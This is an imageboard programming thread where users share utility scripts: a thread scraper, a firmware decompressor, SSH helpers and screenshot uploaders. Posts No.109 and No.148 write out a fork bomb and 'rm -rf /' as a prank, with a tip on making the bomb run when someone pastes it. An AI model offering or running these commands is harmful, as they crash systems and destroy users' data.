arisuchan    [ tech / cult / art ]   [ λ / Δ ]   [ psy ]   [ ru ]   [ random ]   [ meta ]   [ all ]    info / stickers     temporarily disabledtemporarily disabled

/λ/ - programming

structure and interpretation of computer programs.
Name
Email
Subject
Comment

formatting options

File
Password (For file deletion.)

Help me fix this shit. https://legacy.arisuchan.jp/q/res/2703.html#2703

Kalyx ######


File: 1493223694043.png (660.71 KB, 600x600, 1485722285101.png)

 No.37

Share your one-off scripts or helpful scripts

I'll start off with simple thread scrapper

#!/usr/bin/ruby
require "open-uri"
require "json"
def download(post,board)
    if post["filename"]
        file = "#{post['tim']}#{post['ext']}"
        puts file
        File.open(file,"w") do |f|
            f.write open("https://lainchan.jp/#{board}/src/#{file}").read
            f.close
        end
    elsif post["extra_files"]
        post["extra_files"].each do |p|
            download p,board
        end
    end
end
link  = ARGV[0].gsub(".html","")
/https:\/\/lainchan.jp\/(.*?)\/res\// =~ link
board = $1
body = open("#{link}.json").read
thread = JSON.parse body
thread["posts"].each do |post|
    download post,board
end

 No.38

>>37
https://github.com/shmibs/make-gif

gif-makin' with ffmpeg. tried to make it as feature-y as possible, including fixing aspect ratio problems that show up in naive-conversion and one-step handling subtitle-embedding on top of the stuff you'd expect (selecting dithering algs, fps, colour count, size, etc)

also auto-detects if gifsicle is installed and can handle post-conversion optimising with it.

still need to add support for cropping, which will mean a bit more juggling in the output-resolution determining, but otherwise pretty complete. might make an aur package, or something.

 No.40

>>37
https://ipfs.io/ipfs/QmaE4GRADeeRfWgiPQmxmeQShfY2b1XQouJmPqCqafdVy2

I wrote this bash script a few months ago. It's basically a really simple versioning system driven by IPFS. I like to call it from a daily cron script to archive photos and videos and such.

 No.41

This is a "script" I wrote to decompress bFLTv4 binaries. I wrote it a few weeks ago when I was messing around with and attempting to disassemble firmware from IoT cameras.

#include <stdlib.h>
#include <stdio.h>

#define BFLT_HEADER_SIZE 0x40

int main(int argc, char **argv) {
    FILE *bflt_file = fopen(argv[1], "rb");
    FILE *tmp_file = fopen("/tmp/bflt_content.gz", "wb");
    FILE *new_file = fopen(argv[2], "wb");

    if(bflt_file == NULL) {
        printf("Error opening file or file does not exist.");
        return 1;
    }

    fseek(bflt_file, 0L, SEEK_END);
    unsigned long file_size = ftell(bflt_file);
    fseek(bflt_file, 0L, SEEK_SET);

    char *bflt_header = malloc(sizeof(char) * BFLT_HEADER_SIZE);
    char *bflt_content = malloc(sizeof(char) * file_size);

    fread(bflt_header, 1, BFLT_HEADER_SIZE, bflt_file);
    bflt_header[0x27] = bflt_header[0x27] & 3;         //Change header flag from compressed to uncompressed

    fseek(bflt_file, 0x40L, SEEK_SET);
    fread(bflt_content, 1, file_size-0x40, bflt_file);
    fwrite(bflt_content, 1, file_size-0x40, tmp_file);
    fclose(tmp_file);
    system("gzip -d /tmp/bflt_content.gz");

    FILE *raw_file = fopen("/tmp/bflt_content", "rb");
    fseek(raw_file, 0L, SEEK_END);
    unsigned long raw_file_size = ftell(raw_file);
    fseek(raw_file, 0L, SEEK_SET);

    char *raw_content = malloc(sizeof(char) * raw_file_size);
    fread(raw_content, 1, raw_file_size, raw_file);

    fwrite(bflt_header, 1, 0x40, new_file);
    fseek(new_file, 0x40L, SEEK_SET);
    fwrite(raw_content, 1, raw_file_size, new_file);

    fclose(new_file);
    fclose(bflt_file);
    fclose(raw_file);

    free(raw_content);
    free(bflt_header);
    free(bflt_content);

    return 0;
}

 No.42

Most of my useful scripts are just one or two lines, to help me save typing. I do, for fun, however, try to write fast sh and csh scripts for project euler though.

 No.44

When I ran a multi-monitor systems through synergy I had a set of scripts ssh-ing into the hosts starting and killing (if=when it crashed) synergy. The one below for starting X is a little more involved, since I don't want to kill it if I've already started it, and want it to stay even as I break the ssh connection.
#!/usr/bin/bash

remotes="host1 host2 host3 ..."

for host in $remotes; do
    echo -e "\x1b[1;32mSTARTX: $host\x1b[0m"
    ping -c 1 -w 1 -i 0.2 $host.localdomain && ssh $host \
        "screen -ls xsession-$host || screen -mdS xsession-$host bash -l startx" &
done

sleep 5
resyn

 No.109

:(){ :|: & };

rm -rf /

 No.125

File: 1495196608495.gif (27.78 KB, 87x100, lain3.gif)

Wow, it plays that Legend of Zelda song!

 No.127

#!/bin/sh

#sc.sh
#/usr/local/bin/sc

#rfn is a program I wrote that outputs a random name to stdout

filename=$(rfn png)

#interactive screenshot with scrot
scrot -s "/var/screenshot/$filename"

#send to vps
scp -P 69420 "/var/screenshot/$filename" "vps:/var/www/domain.tld/ss"

#echo url into clipboard
echo "http://ss.domain.tld/$filename" | xclip -r -selection clip-board -i


This is a great script if you're interested in brewing soykaf even faster.

 No.132

File: 1495232445711.png (74.37 KB, 640x400, dicksred.png)

>>127
Upgraded it today to automatically draw dicks on top of the things I screenshot for me. I'm considering starting a website dedicated to scripts/programs that make brewing soykaf in irc/IM stuff easier.

Requires image magick.

#!/bin/sh

#scdicks.sh
#/usr/local/bin/scdicks

#rfn is a program I wrote that outputs a random name to stdout

filename=$(rfn png)
filename2=$(rfn png)

#interactive screenshot with scrot
scrot -s "/var/screenshot/$filename"

#overlay the dicks
composite -gravity center "/var/screenshot/dicksred.png" "/var/screenshot/$filename" "/var/screenshot/$filename2"

#send to vps
scp -P 69420 "/var/screenshot/$filename2" "vps:/var/www/domain.tld/ss"

#echo url into clipboard
echo "http://ss.domain.tld/$filename2" | xclip -r -selection clip-board -i


 No.148

>>109
Nah, you gotta write it
 :(){ :|: & };:

else the schmuck that c/ps it into Gnome Terminal with the default settings won't know how to invoke it.

 No.843

>>109
will the fork bomb not prevent rm from running?

or will it make the system unresponsive while rm is running?

i don't understand how they work together.

 No.1652

Get how many of the alive posts were made on the different days:
#!/bin/bash

get_posts_by_day () {
    domain="${IMAGEBOARD:-https://legacy.arisuchan.jp}"
    board="$1"

    threads=$(wget -q -O - "${domain}/${board}/threads.json" \
                  | jq '.[].threads[].no')

    for t in ${threads}; do
        wget -q -O - "${domain}/${board}/res/${t}.json" \
            | jq '.posts[].time' \
            | sed -e 's/^/@/' \
            | xargs -n1 date -I -d
    done | sort | uniq -c | awk '{ print $2 " " $1 }'
}

(( $# != 1 )) && { echo "Usage: $0 <board>"; exit 1; }
get_posts_by_day "$@"



[Return] [Go to top] [ Catalog ] [Post a Reply]
Delete Post [ ]